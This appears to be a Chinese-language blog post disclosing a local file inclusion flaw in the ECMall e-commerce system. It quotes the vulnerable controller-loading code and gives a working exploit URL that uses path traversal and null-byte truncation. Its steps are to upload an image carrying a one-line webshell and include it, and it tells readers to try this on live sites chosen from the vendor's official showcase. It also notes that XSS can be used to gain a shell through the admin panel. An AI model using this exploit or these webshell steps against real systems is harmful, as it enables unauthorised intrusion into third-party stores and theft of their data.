ECMall 社區電子商務系統(簡稱ECMall)是上海商派網絡科技有限公司繼ECShop 之后推出的又一個電子商務姊妹產品。
最近看到烏云上暴了一個ecmall全版文件包函漏洞、其實自己早在去年做ecmall二次開發的時候也發現了一個本地文件包函漏洞和xss、不知道和烏云上的哪個是不是一樣。
出現的地方比較杯具,是一個核心文件里面、在eccore/ecmall.php文件里。大概78行左右吧。
//只判斷是app是否設置,然后去掉了兩端空格
$app = isset($_REQUEST['app']) ? trim($_REQUEST['app']) : $default_app;
$act = isset($_REQUEST['act']) ? trim($_REQUEST['act']) : $default_act;
//很明顯可以看出$app是我們可以控制的、由于后面連接了.app.php所以利用的時候要截斷。
$app_file = $config['app_root'] . "/{$app}.app.php";
//應為是本地包函、所以is_file是為真的
if (!is_file($app_file))
{
exit('Missing controller');
}
//這里直接就包函了,這么底級的漏洞、我都不好說什么了.
require($app_file);
Exp:http://xxxx.com/index.php?app=../data/files/mall/application/store_516_1.jpg%00.
測試:
到官方的用戶展示里挑幾個目標測試一下。
注冊一個用戶、上傳頭像或者其他上傳地方上傳一張函一句話的圖片、包函進來即可.
將圖片路徑替換exp里的路徑、后面的%00.就是前面所說的截斷00后面有個點看清楚.
注:須要在GPC沒打開時方能利用成功、所以說還是有一點雞肋的,不要用來做壞事、產生任何后果與本人無關。
其他地方還有很多xss、用xss來拿shell的成功率要高很多、因為后臺可以拿shell。匆忙亂寫的比較亂呀、見笑鳥,有機會寫個其他類型的。